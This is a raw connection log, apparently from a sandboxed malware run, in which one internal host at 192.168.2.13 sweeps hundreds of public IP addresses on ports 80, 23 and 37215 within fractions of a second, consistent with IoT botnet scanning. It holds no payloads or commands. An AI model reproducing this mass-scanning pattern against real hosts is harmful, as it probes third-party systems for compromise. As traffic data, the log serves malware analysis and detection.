Jan 5, 2025 14:35:00.122416973 CET	29477	80	192.168.2.13	208.244.98.99
Jan 5, 2025 14:35:00.122428894 CET	29477	80	192.168.2.13	154.122.223.73
Jan 5, 2025 14:35:00.122440100 CET	29477	80	192.168.2.13	203.59.221.97
Jan 5, 2025 14:35:00.122440100 CET	29477	80	192.168.2.13	177.201.234.171
Jan 5, 2025 14:35:00.122442961 CET	29477	80	192.168.2.13	162.55.21.135
Jan 5, 2025 14:35:00.122447014 CET	29477	80	192.168.2.13	208.76.164.254
Jan 5, 2025 14:35:00.122448921 CET	29477	80	192.168.2.13	78.179.93.15
Jan 5, 2025 14:35:00.122448921 CET	29477	80	192.168.2.13	59.227.94.30
Jan 5, 2025 14:35:00.122459888 CET	29477	80	192.168.2.13	39.3.131.29
Jan 5, 2025 14:35:00.122458935 CET	29477	80	192.168.2.13	209.14.118.228
Jan 5, 2025 14:35:00.122459888 CET	29477	80	192.168.2.13	14.174.172.82
Jan 5, 2025 14:35:00.122471094 CET	29477	80	192.168.2.13	70.128.240.161
Jan 5, 2025 14:35:00.122471094 CET	29477	80	192.168.2.13	74.177.132.223
Jan 5, 2025 14:35:00.122479916 CET	29477	80	192.168.2.13	43.56.65.205
Jan 5, 2025 14:35:00.122488022 CET	29477	80	192.168.2.13	158.76.61.144
Jan 5, 2025 14:35:00.122488022 CET	29477	80	192.168.2.13	146.45.198.170
Jan 5, 2025 14:35:00.122493029 CET	29477	80	192.168.2.13	140.177.6.82
Jan 5, 2025 14:35:00.122493029 CET	29477	80	192.168.2.13	216.133.104.19
Jan 5, 2025 14:35:00.122494936 CET	29477	80	192.168.2.13	23.65.124.61
Jan 5, 2025 14:35:00.122509956 CET	29477	80	192.168.2.13	23.239.249.175
Jan 5, 2025 14:35:00.122514009 CET	29477	80	192.168.2.13	68.172.164.71
Jan 5, 2025 14:35:00.122529984 CET	29477	80	192.168.2.13	174.233.150.183
Jan 5, 2025 14:35:00.122529984 CET	29477	80	192.168.2.13	182.123.43.205
Jan 5, 2025 14:35:00.122534037 CET	29477	80	192.168.2.13	2.240.237.72
Jan 5, 2025 14:35:00.122534037 CET	29477	80	192.168.2.13	158.157.189.107
Jan 5, 2025 14:35:00.122545958 CET	29477	80	192.168.2.13	18.133.226.86
Jan 5, 2025 14:35:00.122546911 CET	29477	80	192.168.2.13	167.151.181.209
Jan 5, 2025 14:35:00.122546911 CET	29477	80	192.168.2.13	47.114.214.94
Jan 5, 2025 14:35:00.122546911 CET	29477	80	192.168.2.13	69.97.78.193
Jan 5, 2025 14:35:00.122549057 CET	29477	80	192.168.2.13	107.106.140.56
Jan 5, 2025 14:35:00.122551918 CET	29477	80	192.168.2.13	159.165.85.84
Jan 5, 2025 14:35:00.122558117 CET	29477	80	192.168.2.13	200.227.139.13
Jan 5, 2025 14:35:00.122560978 CET	29477	80	192.168.2.13	63.33.224.43
Jan 5, 2025 14:35:00.122567892 CET	29477	80	192.168.2.13	139.242.31.41
Jan 5, 2025 14:35:00.122567892 CET	29477	80	192.168.2.13	93.28.70.179
Jan 5, 2025 14:35:00.122572899 CET	29477	80	192.168.2.13	17.169.127.156
Jan 5, 2025 14:35:00.122580051 CET	29477	80	192.168.2.13	105.236.84.244
Jan 5, 2025 14:35:00.122580051 CET	29477	80	192.168.2.13	49.128.132.64
Jan 5, 2025 14:35:00.122581005 CET	29477	80	192.168.2.13	173.211.178.175
Jan 5, 2025 14:35:00.122581959 CET	29477	80	192.168.2.13	110.70.34.248
Jan 5, 2025 14:35:00.122587919 CET	29477	80	192.168.2.13	191.189.221.172
Jan 5, 2025 14:35:00.122596979 CET	29477	80	192.168.2.13	197.48.63.178
Jan 5, 2025 14:35:00.122596979 CET	29477	80	192.168.2.13	104.54.247.21
Jan 5, 2025 14:35:00.122612000 CET	29477	80	192.168.2.13	110.158.63.248
Jan 5, 2025 14:35:00.122621059 CET	29477	80	192.168.2.13	99.112.67.38
Jan 5, 2025 14:35:00.122621059 CET	29477	80	192.168.2.13	79.176.69.219
Jan 5, 2025 14:35:00.122621059 CET	29477	80	192.168.2.13	43.70.79.176
Jan 5, 2025 14:35:00.122621059 CET	29477	80	192.168.2.13	142.100.222.249
Jan 5, 2025 14:35:00.122625113 CET	29477	80	192.168.2.13	105.39.169.236
Jan 5, 2025 14:35:00.122625113 CET	29477	80	192.168.2.13	212.15.83.251
Jan 5, 2025 14:35:00.122625113 CET	29477	80	192.168.2.13	176.79.231.14
Jan 5, 2025 14:35:00.122629881 CET	29477	80	192.168.2.13	144.13.174.161
Jan 5, 2025 14:35:00.122638941 CET	29477	80	192.168.2.13	60.116.192.187
Jan 5, 2025 14:35:00.122642040 CET	29477	80	192.168.2.13	147.41.244.79
Jan 5, 2025 14:35:00.122643948 CET	29477	80	192.168.2.13	128.93.244.88
Jan 5, 2025 14:35:00.122644901 CET	29477	80	192.168.2.13	106.81.72.172
Jan 5, 2025 14:35:00.122647047 CET	29477	80	192.168.2.13	66.39.222.56
Jan 5, 2025 14:35:00.122648954 CET	29477	80	192.168.2.13	183.84.65.28
Jan 5, 2025 14:35:00.122652054 CET	29477	80	192.168.2.13	150.105.28.30
Jan 5, 2025 14:35:00.122663021 CET	29477	80	192.168.2.13	25.57.139.64
Jan 5, 2025 14:35:00.122665882 CET	29477	80	192.168.2.13	71.62.124.152
Jan 5, 2025 14:35:00.122682095 CET	29477	80	192.168.2.13	69.52.116.167
Jan 5, 2025 14:35:00.122683048 CET	29477	80	192.168.2.13	69.78.142.98
Jan 5, 2025 14:35:00.122683048 CET	29477	80	192.168.2.13	200.5.186.63
Jan 5, 2025 14:35:00.122685909 CET	29477	80	192.168.2.13	104.157.58.243
Jan 5, 2025 14:35:00.122685909 CET	29477	80	192.168.2.13	91.221.116.117
Jan 5, 2025 14:35:00.122694969 CET	29477	80	192.168.2.13	142.57.113.245
Jan 5, 2025 14:35:00.122698069 CET	29477	80	192.168.2.13	161.39.187.1
Jan 5, 2025 14:35:00.122932911 CET	39518	80	192.168.2.13	133.206.206.122
Jan 5, 2025 14:35:00.122932911 CET	39518	80	192.168.2.13	133.206.206.122
Jan 5, 2025 14:35:00.127779961 CET	80	39518	133.206.206.122	192.168.2.13
Jan 5, 2025 14:35:00.144140959 CET	41826	80	192.168.2.13	196.113.39.196
Jan 5, 2025 14:35:00.144145012 CET	45366	37215	192.168.2.13	41.242.75.188
Jan 5, 2025 14:35:00.144150972 CET	42768	37215	192.168.2.13	156.83.20.178
Jan 5, 2025 14:35:00.144169092 CET	57678	37215	192.168.2.13	156.213.81.209
Jan 5, 2025 14:35:00.144170046 CET	33006	80	192.168.2.13	41.5.201.177
Jan 5, 2025 14:35:00.144172907 CET	53294	37215	192.168.2.13	41.225.42.247
Jan 5, 2025 14:35:00.148987055 CET	37215	45366	41.242.75.188	192.168.2.13
Jan 5, 2025 14:35:00.148998022 CET	80	41826	196.113.39.196	192.168.2.13
Jan 5, 2025 14:35:00.149008036 CET	37215	42768	156.83.20.178	192.168.2.13
Jan 5, 2025 14:35:00.149059057 CET	41826	80	192.168.2.13	196.113.39.196
Jan 5, 2025 14:35:00.149064064 CET	42768	37215	192.168.2.13	156.83.20.178
Jan 5, 2025 14:35:00.149400949 CET	45366	37215	192.168.2.13	41.242.75.188
Jan 5, 2025 14:35:00.171483994 CET	80	39518	133.206.206.122	192.168.2.13
Jan 5, 2025 14:35:00.176150084 CET	35022	80	192.168.2.13	135.40.7.85
Jan 5, 2025 14:35:00.176186085 CET	59300	37215	192.168.2.13	41.198.247.116
Jan 5, 2025 14:35:00.176183939 CET	44878	80	192.168.2.13	81.220.130.17
Jan 5, 2025 14:35:00.181006908 CET	80	35022	135.40.7.85	192.168.2.13
Jan 5, 2025 14:35:00.181018114 CET	37215	59300	41.198.247.116	192.168.2.13
Jan 5, 2025 14:35:00.181025028 CET	80	44878	81.220.130.17	192.168.2.13
Jan 5, 2025 14:35:00.181085110 CET	35022	80	192.168.2.13	135.40.7.85
Jan 5, 2025 14:35:00.181109905 CET	59300	37215	192.168.2.13	41.198.247.116
Jan 5, 2025 14:35:00.181112051 CET	44878	80	192.168.2.13	81.220.130.17
Jan 5, 2025 14:35:00.249835968 CET	39616	80	192.168.2.13	133.206.206.122
Jan 5, 2025 14:35:00.252656937 CET	49886	37215	192.168.2.13	156.86.142.141
Jan 5, 2025 14:35:00.254659891 CET	80	39616	133.206.206.122	192.168.2.13
Jan 5, 2025 14:35:00.254812956 CET	35022	80	192.168.2.13	135.40.7.85
Jan 5, 2025 14:35:00.254818916 CET	39616	80	192.168.2.13	133.206.206.122
Jan 5, 2025 14:35:00.254818916 CET	39616	80	192.168.2.13	133.206.206.122
Jan 5, 2025 14:35:00.254837990 CET	41826	80	192.168.2.13	196.113.39.196
Jan 5, 2025 14:35:00.254837990 CET	41826	80	192.168.2.13	196.113.39.196
Jan 5, 2025 14:35:00.257431030 CET	37215	49886	156.86.142.141	192.168.2.13
Jan 5, 2025 14:35:00.257483006 CET	49886	37215	192.168.2.13	156.86.142.141
Jan 5, 2025 14:35:00.257628918 CET	41918	80	192.168.2.13	196.113.39.196
Jan 5, 2025 14:35:00.259715080 CET	80	35022	135.40.7.85	192.168.2.13
Jan 5, 2025 14:35:00.259725094 CET	80	41826	196.113.39.196	192.168.2.13
Jan 5, 2025 14:35:00.259764910 CET	35022	80	192.168.2.13	135.40.7.85
Jan 5, 2025 14:35:00.259968042 CET	80	39616	133.206.206.122	192.168.2.13
Jan 5, 2025 14:35:00.260020971 CET	39616	80	192.168.2.13	133.206.206.122
Jan 5, 2025 14:35:00.262474060 CET	80	41918	196.113.39.196	192.168.2.13
Jan 5, 2025 14:35:00.262542009 CET	41918	80	192.168.2.13	196.113.39.196
Jan 5, 2025 14:35:00.262700081 CET	44878	80	192.168.2.13	81.220.130.17
Jan 5, 2025 14:35:00.262700081 CET	44878	80	192.168.2.13	81.220.130.17
Jan 5, 2025 14:35:00.263015985 CET	57922	37215	192.168.2.13	197.175.162.9
Jan 5, 2025 14:35:00.267537117 CET	80	44878	81.220.130.17	192.168.2.13
Jan 5, 2025 14:35:00.267803907 CET	44964	80	192.168.2.13	81.220.130.17
Jan 5, 2025 14:35:00.267889023 CET	37215	57922	197.175.162.9	192.168.2.13
Jan 5, 2025 14:35:00.267937899 CET	57922	37215	192.168.2.13	197.175.162.9
Jan 5, 2025 14:35:00.272624016 CET	80	44964	81.220.130.17	192.168.2.13
Jan 5, 2025 14:35:00.272682905 CET	44964	80	192.168.2.13	81.220.130.17
Jan 5, 2025 14:35:00.272978067 CET	41918	80	192.168.2.13	196.113.39.196
Jan 5, 2025 14:35:00.272994041 CET	44964	80	192.168.2.13	81.220.130.17
Jan 5, 2025 14:35:00.273340940 CET	47404	37215	192.168.2.13	197.28.77.200
Jan 5, 2025 14:35:00.277801991 CET	80	41918	196.113.39.196	192.168.2.13
Jan 5, 2025 14:35:00.277892113 CET	41918	80	192.168.2.13	196.113.39.196
Jan 5, 2025 14:35:00.277940035 CET	80	44964	81.220.130.17	192.168.2.13
Jan 5, 2025 14:35:00.278002977 CET	44964	80	192.168.2.13	81.220.130.17
Jan 5, 2025 14:35:00.278098106 CET	37215	47404	197.28.77.200	192.168.2.13
Jan 5, 2025 14:35:00.278148890 CET	47404	37215	192.168.2.13	197.28.77.200
Jan 5, 2025 14:35:00.282030106 CET	50226	37215	192.168.2.13	197.192.252.246
Jan 5, 2025 14:35:00.286798954 CET	37215	50226	197.192.252.246	192.168.2.13
Jan 5, 2025 14:35:00.286838055 CET	50226	37215	192.168.2.13	197.192.252.246
Jan 5, 2025 14:35:00.289980888 CET	39320	37215	192.168.2.13	197.83.134.208
Jan 5, 2025 14:35:00.294802904 CET	37215	39320	197.83.134.208	192.168.2.13
Jan 5, 2025 14:35:00.294845104 CET	39320	37215	192.168.2.13	197.83.134.208
Jan 5, 2025 14:35:00.297352076 CET	56986	37215	192.168.2.13	41.125.204.121
Jan 5, 2025 14:35:00.302114964 CET	37215	56986	41.125.204.121	192.168.2.13
Jan 5, 2025 14:35:00.302155972 CET	56986	37215	192.168.2.13	41.125.204.121
Jan 5, 2025 14:35:00.303494930 CET	80	41826	196.113.39.196	192.168.2.13
Jan 5, 2025 14:35:00.304868937 CET	38320	37215	192.168.2.13	156.161.221.30
Jan 5, 2025 14:35:00.309665918 CET	37215	38320	156.161.221.30	192.168.2.13
Jan 5, 2025 14:35:00.309712887 CET	38320	37215	192.168.2.13	156.161.221.30
Jan 5, 2025 14:35:00.311467886 CET	80	44878	81.220.130.17	192.168.2.13
Jan 5, 2025 14:35:00.312202930 CET	43692	37215	192.168.2.13	156.50.56.6
Jan 5, 2025 14:35:00.316999912 CET	37215	43692	156.50.56.6	192.168.2.13
Jan 5, 2025 14:35:00.317096949 CET	43692	37215	192.168.2.13	156.50.56.6
Jan 5, 2025 14:35:00.319839001 CET	35802	37215	192.168.2.13	41.130.183.227
Jan 5, 2025 14:35:00.324096918 CET	33778	37215	192.168.2.13	156.245.141.198
Jan 5, 2025 14:35:00.324096918 CET	33778	37215	192.168.2.13	156.245.141.198
Jan 5, 2025 14:35:00.324611902 CET	37215	35802	41.130.183.227	192.168.2.13
Jan 5, 2025 14:35:00.324659109 CET	35802	37215	192.168.2.13	41.130.183.227
Jan 5, 2025 14:35:00.328129053 CET	34184	37215	192.168.2.13	156.245.141.198
Jan 5, 2025 14:35:00.329335928 CET	37215	33778	156.245.141.198	192.168.2.13
Jan 5, 2025 14:35:00.332472086 CET	42768	37215	192.168.2.13	156.83.20.178
Jan 5, 2025 14:35:00.332490921 CET	45366	37215	192.168.2.13	41.242.75.188
Jan 5, 2025 14:35:00.332499981 CET	59300	37215	192.168.2.13	41.198.247.116
Jan 5, 2025 14:35:00.332581997 CET	53800	37215	192.168.2.13	197.159.178.158
Jan 5, 2025 14:35:00.332581997 CET	53800	37215	192.168.2.13	197.159.178.158
Jan 5, 2025 14:35:00.332855940 CET	37215	34184	156.245.141.198	192.168.2.13
Jan 5, 2025 14:35:00.333030939 CET	34184	37215	192.168.2.13	156.245.141.198
Jan 5, 2025 14:35:00.335880995 CET	54206	37215	192.168.2.13	197.159.178.158
Jan 5, 2025 14:35:00.337260962 CET	37215	42768	156.83.20.178	192.168.2.13
Jan 5, 2025 14:35:00.337321997 CET	42768	37215	192.168.2.13	156.83.20.178
Jan 5, 2025 14:35:00.337372065 CET	37215	53800	197.159.178.158	192.168.2.13
Jan 5, 2025 14:35:00.337472916 CET	37215	45366	41.242.75.188	192.168.2.13
Jan 5, 2025 14:35:00.337506056 CET	37215	59300	41.198.247.116	192.168.2.13
Jan 5, 2025 14:35:00.337523937 CET	45366	37215	192.168.2.13	41.242.75.188
Jan 5, 2025 14:35:00.337570906 CET	59300	37215	192.168.2.13	41.198.247.116
Jan 5, 2025 14:35:00.339504004 CET	42706	37215	192.168.2.13	197.37.180.192
Jan 5, 2025 14:35:00.339504004 CET	42706	37215	192.168.2.13	197.37.180.192
Jan 5, 2025 14:35:00.340150118 CET	55462	80	192.168.2.13	9.9.137.157
Jan 5, 2025 14:35:00.340635061 CET	37215	54206	197.159.178.158	192.168.2.13
Jan 5, 2025 14:35:00.340682030 CET	54206	37215	192.168.2.13	197.159.178.158
Jan 5, 2025 14:35:00.342911005 CET	43112	37215	192.168.2.13	197.37.180.192
Jan 5, 2025 14:35:00.344331026 CET	37215	42706	197.37.180.192	192.168.2.13
Jan 5, 2025 14:35:00.344918013 CET	80	55462	9.9.137.157	192.168.2.13
Jan 5, 2025 14:35:00.344985008 CET	55462	80	192.168.2.13	9.9.137.157
Jan 5, 2025 14:35:00.344985008 CET	55462	80	192.168.2.13	9.9.137.157
Jan 5, 2025 14:35:00.346771002 CET	36638	37215	192.168.2.13	156.241.244.77
Jan 5, 2025 14:35:00.346771955 CET	36638	37215	192.168.2.13	156.241.244.77
Jan 5, 2025 14:35:00.348290920 CET	37215	43112	197.37.180.192	192.168.2.13
Jan 5, 2025 14:35:00.348331928 CET	43112	37215	192.168.2.13	197.37.180.192
Jan 5, 2025 14:35:00.350326061 CET	37044	37215	192.168.2.13	156.241.244.77
Jan 5, 2025 14:35:00.350738049 CET	80	55462	9.9.137.157	192.168.2.13
Jan 5, 2025 14:35:00.350867033 CET	55462	80	192.168.2.13	9.9.137.157
Jan 5, 2025 14:35:00.351516008 CET	37215	36638	156.241.244.77	192.168.2.13
Jan 5, 2025 14:35:00.351763964 CET	23	46338	196.85.151.212	192.168.2.13
Jan 5, 2025 14:35:00.351901054 CET	46338	23	192.168.2.13	196.85.151.212
Jan 5, 2025 14:35:00.354130983 CET	56658	37215	192.168.2.13	156.156.184.103
Jan 5, 2025 14:35:00.354130983 CET	56658	37215	192.168.2.13	156.156.184.103
Jan 5, 2025 14:35:00.355096102 CET	37215	37044	156.241.244.77	192.168.2.13
Jan 5, 2025 14:35:00.355159044 CET	37044	37215	192.168.2.13	156.241.244.77
Jan 5, 2025 14:35:00.355431080 CET	46538	23	192.168.2.13	196.85.151.212
Jan 5, 2025 14:35:00.356607914 CET	23	46338	196.85.151.212	192.168.2.13
Jan 5, 2025 14:35:00.357929945 CET	57064	37215	192.168.2.13	156.156.184.103
Jan 5, 2025 14:35:00.358961105 CET	37215	56658	156.156.184.103	192.168.2.13
Jan 5, 2025 14:35:00.359424114 CET	29476	23	192.168.2.13	213.252.164.170
Jan 5, 2025 14:35:00.359424114 CET	29476	23	192.168.2.13	194.127.187.250
Jan 5, 2025 14:35:00.359427929 CET	29476	23	192.168.2.13	9.120.227.114
Jan 5, 2025 14:35:00.359430075 CET	29476	23	192.168.2.13	165.168.47.147
Jan 5, 2025 14:35:00.359432936 CET	29476	23	192.168.2.13	135.42.175.183
Jan 5, 2025 14:35:00.359438896 CET	29476	23	192.168.2.13	89.150.16.172
Jan 5, 2025 14:35:00.359438896 CET	29476	23	192.168.2.13	27.33.219.203
Jan 5, 2025 14:35:00.359440088 CET	29476	23	192.168.2.13	186.131.0.235
Jan 5, 2025 14:35:00.359441042 CET	29476	23	192.168.2.13	98.14.143.182
Jan 5, 2025 14:35:00.359446049 CET	29476	23	192.168.2.13	87.60.71.14
Jan 5, 2025 14:35:00.359446049 CET	29476	23	192.168.2.13	103.160.62.45
Jan 5, 2025 14:35:00.359457970 CET	29476	23	192.168.2.13	119.100.23.173
Jan 5, 2025 14:35:00.359462023 CET	29476	23	192.168.2.13	170.226.175.244
Jan 5, 2025 14:35:00.359471083 CET	29476	23	192.168.2.13	43.228.85.194
Jan 5, 2025 14:35:00.359478951 CET	29476	23	192.168.2.13	141.188.226.37
Jan 5, 2025 14:35:00.359483004 CET	29476	23	192.168.2.13	108.9.223.78
Jan 5, 2025 14:35:00.359486103 CET	29476	23	192.168.2.13	24.183.105.253
Jan 5, 2025 14:35:00.359487057 CET	29476	23	192.168.2.13	177.38.255.255
Jan 5, 2025 14:35:00.359487057 CET	29476	23	192.168.2.13	97.49.223.94
Jan 5, 2025 14:35:00.359504938 CET	29476	23	192.168.2.13	151.248.104.248
Jan 5, 2025 14:35:00.359504938 CET	29476	23	192.168.2.13	220.126.210.172
Jan 5, 2025 14:35:00.359504938 CET	29476	23	192.168.2.13	135.8.62.140
Jan 5, 2025 14:35:00.359505892 CET	29476	23	192.168.2.13	67.82.19.196
Jan 5, 2025 14:35:00.359505892 CET	29476	23	192.168.2.13	100.139.232.50
Jan 5, 2025 14:35:00.359519958 CET	29476	23	192.168.2.13	67.20.129.7
Jan 5, 2025 14:35:00.359528065 CET	29476	23	192.168.2.13	42.225.25.229
Jan 5, 2025 14:35:00.359529018 CET	29476	23	192.168.2.13	195.32.79.89
Jan 5, 2025 14:35:00.359530926 CET	29476	23	192.168.2.13	80.125.41.23
Jan 5, 2025 14:35:00.359533072 CET	29476	23	192.168.2.13	88.36.147.232
Jan 5, 2025 14:35:00.359533072 CET	29476	23	192.168.2.13	20.56.179.134
Jan 5, 2025 14:35:00.359544992 CET	29476	23	192.168.2.13	87.126.143.87
Jan 5, 2025 14:35:00.359550953 CET	29476	23	192.168.2.13	111.245.39.100
Jan 5, 2025 14:35:00.359553099 CET	29476	23	192.168.2.13	83.123.190.185
Jan 5, 2025 14:35:00.359559059 CET	29476	23	192.168.2.13	109.159.169.24
Jan 5, 2025 14:35:00.359565973 CET	29476	23	192.168.2.13	80.151.198.90
Jan 5, 2025 14:35:00.359589100 CET	29476	23	192.168.2.13	163.6.252.155
Jan 5, 2025 14:35:00.359589100 CET	29476	23	192.168.2.13	101.64.13.195
Jan 5, 2025 14:35:00.359589100 CET	29476	23	192.168.2.13	143.23.197.40
Jan 5, 2025 14:35:00.359594107 CET	29476	23	192.168.2.13	89.84.2.13
Jan 5, 2025 14:35:00.359594107 CET	29476	23	192.168.2.13	32.241.81.197
Jan 5, 2025 14:35:00.359596014 CET	29476	23	192.168.2.13	64.150.179.156
Jan 5, 2025 14:35:00.359596014 CET	29476	23	192.168.2.13	158.183.155.17
Jan 5, 2025 14:35:00.359596968 CET	29476	23	192.168.2.13	92.7.246.253
Jan 5, 2025 14:35:00.359596968 CET	29476	23	192.168.2.13	199.43.254.124
Jan 5, 2025 14:35:00.359596968 CET	29476	23	192.168.2.13	166.136.7.167
Jan 5, 2025 14:35:00.359603882 CET	29476	23	192.168.2.13	198.71.188.182
Jan 5, 2025 14:35:00.359611034 CET	29476	23	192.168.2.13	153.176.91.86
Jan 5, 2025 14:35:00.359611034 CET	29476	23	192.168.2.13	70.147.44.73
Jan 5, 2025 14:35:00.359613895 CET	29476	23	192.168.2.13	105.211.32.177
Jan 5, 2025 14:35:00.359613895 CET	29476	23	192.168.2.13	194.177.77.30
Jan 5, 2025 14:35:00.359636068 CET	29476	23	192.168.2.13	57.202.158.238
Jan 5, 2025 14:35:00.359638929 CET	29476	23	192.168.2.13	212.243.11.103
Jan 5, 2025 14:35:00.359638929 CET	29476	23	192.168.2.13	104.15.249.146
Jan 5, 2025 14:35:00.359644890 CET	29476	23	192.168.2.13	71.232.249.5
Jan 5, 2025 14:35:00.359644890 CET	29476	23	192.168.2.13	144.8.71.180
Jan 5, 2025 14:35:00.359652996 CET	29476	23	192.168.2.13	58.145.34.250
Jan 5, 2025 14:35:00.359657049 CET	29476	23	192.168.2.13	54.214.230.109
Jan 5, 2025 14:35:00.359658003 CET	29476	23	192.168.2.13	142.69.232.73
Jan 5, 2025 14:35:00.359657049 CET	29476	23	192.168.2.13	107.130.95.129
Jan 5, 2025 14:35:00.359656096 CET	29476	23	192.168.2.13	27.164.189.18
Jan 5, 2025 14:35:00.359664917 CET	29476	23	192.168.2.13	19.100.112.57
Jan 5, 2025 14:35:00.359678984 CET	29476	23	192.168.2.13	199.210.61.207
Jan 5, 2025 14:35:00.359682083 CET	29476	23	192.168.2.13	128.233.94.32
Jan 5, 2025 14:35:00.359683990 CET	29476	23	192.168.2.13	183.179.129.187
Jan 5, 2025 14:35:00.359689951 CET	29476	23	192.168.2.13	167.14.254.68
Jan 5, 2025 14:35:00.359694004 CET	29476	23	192.168.2.13	121.197.153.209
Jan 5, 2025 14:35:00.359694958 CET	29476	23	192.168.2.13	186.131.184.122
Jan 5, 2025 14:35:00.359695911 CET	29476	23	192.168.2.13	58.87.254.55
Jan 5, 2025 14:35:00.359714985 CET	29476	23	192.168.2.13	43.51.101.101
Jan 5, 2025 14:35:00.359714985 CET	29476	23	192.168.2.13	41.47.131.73
Jan 5, 2025 14:35:00.359716892 CET	29476	23	192.168.2.13	159.102.42.98
Jan 5, 2025 14:35:00.359716892 CET	29476	23	192.168.2.13	157.106.95.181
Jan 5, 2025 14:35:00.359719038 CET	29476	23	192.168.2.13	91.158.181.4
Jan 5, 2025 14:35:00.359723091 CET	29476	23	192.168.2.13	120.112.177.163
Jan 5, 2025 14:35:00.359735012 CET	29476	23	192.168.2.13	37.192.219.169
Jan 5, 2025 14:35:00.359735966 CET	29476	23	192.168.2.13	91.184.87.203
Jan 5, 2025 14:35:00.359735966 CET	29476	23	192.168.2.13	209.209.152.125
Jan 5, 2025 14:35:00.359755993 CET	29476	23	192.168.2.13	91.180.84.143
Jan 5, 2025 14:35:00.359756947 CET	29476	23	192.168.2.13	208.188.255.231
Jan 5, 2025 14:35:00.359757900 CET	29476	23	192.168.2.13	54.16.83.142
Jan 5, 2025 14:35:00.359757900 CET	29476	23	192.168.2.13	76.91.204.78
Jan 5, 2025 14:35:00.359767914 CET	29476	23	192.168.2.13	42.52.223.16
Jan 5, 2025 14:35:00.359771013 CET	29476	23	192.168.2.13	20.33.118.77
Jan 5, 2025 14:35:00.359772921 CET	29476	23	192.168.2.13	167.253.26.205
Jan 5, 2025 14:35:00.359772921 CET	29476	23	192.168.2.13	217.78.173.224
Jan 5, 2025 14:35:00.359772921 CET	29476	23	192.168.2.13	166.79.2.125
Jan 5, 2025 14:35:00.359786034 CET	29476	23	192.168.2.13	195.59.5.14
Jan 5, 2025 14:35:00.359786034 CET	29476	23	192.168.2.13	118.145.73.14
Jan 5, 2025 14:35:00.359788895 CET	29476	23	192.168.2.13	35.216.162.242
Jan 5, 2025 14:35:00.359807014 CET	29476	23	192.168.2.13	137.178.217.164
Jan 5, 2025 14:35:00.359807014 CET	29476	23	192.168.2.13	165.117.38.148
Jan 5, 2025 14:35:00.359807014 CET	29476	23	192.168.2.13	168.64.232.125
Jan 5, 2025 14:35:00.359807968 CET	29476	23	192.168.2.13	37.17.77.249
Jan 5, 2025 14:35:00.359813929 CET	29476	23	192.168.2.13	156.216.34.5
Jan 5, 2025 14:35:00.359826088 CET	29476	23	192.168.2.13	202.56.12.189
Jan 5, 2025 14:35:00.359826088 CET	29476	23	192.168.2.13	145.128.134.108
Jan 5, 2025 14:35:00.359831095 CET	29476	23	192.168.2.13	105.33.228.239
Jan 5, 2025 14:35:00.359831095 CET	29476	23	192.168.2.13	87.90.155.78
Jan 5, 2025 14:35:00.359837055 CET	29476	23	192.168.2.13	120.129.49.18
Jan 5, 2025 14:35:00.359837055 CET	29476	23	192.168.2.13	71.180.39.55
Jan 5, 2025 14:35:00.359837055 CET	29476	23	192.168.2.13	60.116.149.144
Jan 5, 2025 14:35:00.359837055 CET	29476	23	192.168.2.13	46.217.187.185
Jan 5, 2025 14:35:00.359842062 CET	29476	23	192.168.2.13	78.89.201.78
Jan 5, 2025 14:35:00.359842062 CET	29476	23	192.168.2.13	125.160.61.173
Jan 5, 2025 14:35:00.359843016 CET	29476	23	192.168.2.13	60.213.37.188
Jan 5, 2025 14:35:00.359864950 CET	29476	23	192.168.2.13	165.201.62.72
Jan 5, 2025 14:35:00.359864950 CET	29476	23	192.168.2.13	170.108.119.251
Jan 5, 2025 14:35:00.359883070 CET	29476	23	192.168.2.13	105.68.239.197
Jan 5, 2025 14:35:00.359889030 CET	29476	23	192.168.2.13	174.210.50.198
Jan 5, 2025 14:35:00.359893084 CET	29476	23	192.168.2.13	25.177.28.156
Jan 5, 2025 14:35:00.359894991 CET	29476	23	192.168.2.13	121.74.64.23
Jan 5, 2025 14:35:00.359894991 CET	29476	23	192.168.2.13	44.114.204.208
Jan 5, 2025 14:35:00.359903097 CET	29476	23	192.168.2.13	223.13.31.56
Jan 5, 2025 14:35:00.359906912 CET	29476	23	192.168.2.13	36.86.103.99
Jan 5, 2025 14:35:00.359926939 CET	29476	23	192.168.2.13	35.246.218.12
Jan 5, 2025 14:35:00.359927893 CET	29476	23	192.168.2.13	197.140.115.64
Jan 5, 2025 14:35:00.359927893 CET	29476	23	192.168.2.13	51.103.99.12
Jan 5, 2025 14:35:00.359926939 CET	29476	23	192.168.2.13	221.138.54.176
Jan 5, 2025 14:35:00.359931946 CET	29476	23	192.168.2.13	111.33.42.249
Jan 5, 2025 14:35:00.359937906 CET	29476	23	192.168.2.13	190.163.214.33
Jan 5, 2025 14:35:00.359937906 CET	29476	23	192.168.2.13	120.135.28.19
Jan 5, 2025 14:35:00.359956026 CET	29476	23	192.168.2.13	198.237.32.239
Jan 5, 2025 14:35:00.359956980 CET	29476	23	192.168.2.13	41.185.153.84
Jan 5, 2025 14:35:00.359961987 CET	29476	23	192.168.2.13	104.102.133.248
Jan 5, 2025 14:35:00.359961987 CET	29476	23	192.168.2.13	44.104.158.153
Jan 5, 2025 14:35:00.359962940 CET	29476	23	192.168.2.13	95.135.150.44
Jan 5, 2025 14:35:00.359966040 CET	29476	23	192.168.2.13	63.97.185.159
Jan 5, 2025 14:35:00.359966040 CET	29476	23	192.168.2.13	135.244.58.207
Jan 5, 2025 14:35:00.359978914 CET	29476	23	192.168.2.13	64.9.187.38
Jan 5, 2025 14:35:00.359986067 CET	29476	23	192.168.2.13	51.84.94.149
Jan 5, 2025 14:35:00.359987974 CET	29476	23	192.168.2.13	115.130.67.202
Jan 5, 2025 14:35:00.359994888 CET	29476	23	192.168.2.13	71.6.17.75
Jan 5, 2025 14:35:00.360002995 CET	29476	23	192.168.2.13	142.189.168.185
Jan 5, 2025 14:35:00.360002995 CET	29476	23	192.168.2.13	20.164.29.237
Jan 5, 2025 14:35:00.360009909 CET	29476	23	192.168.2.13	138.132.132.163
Jan 5, 2025 14:35:00.360014915 CET	29476	23	192.168.2.13	142.200.210.231
Jan 5, 2025 14:35:00.360014915 CET	29476	23	192.168.2.13	13.67.242.117
Jan 5, 2025 14:35:00.360032082 CET	29476	23	192.168.2.13	201.111.232.241
Jan 5, 2025 14:35:00.360032082 CET	29476	23	192.168.2.13	219.155.142.185
Jan 5, 2025 14:35:00.360033989 CET	29476	23	192.168.2.13	69.157.21.48
Jan 5, 2025 14:35:00.360033989 CET	29476	23	192.168.2.13	160.223.172.165
Jan 5, 2025 14:35:00.360033989 CET	29476	23	192.168.2.13	130.199.171.201
Jan 5, 2025 14:35:00.360044003 CET	29476	23	192.168.2.13	146.22.18.50
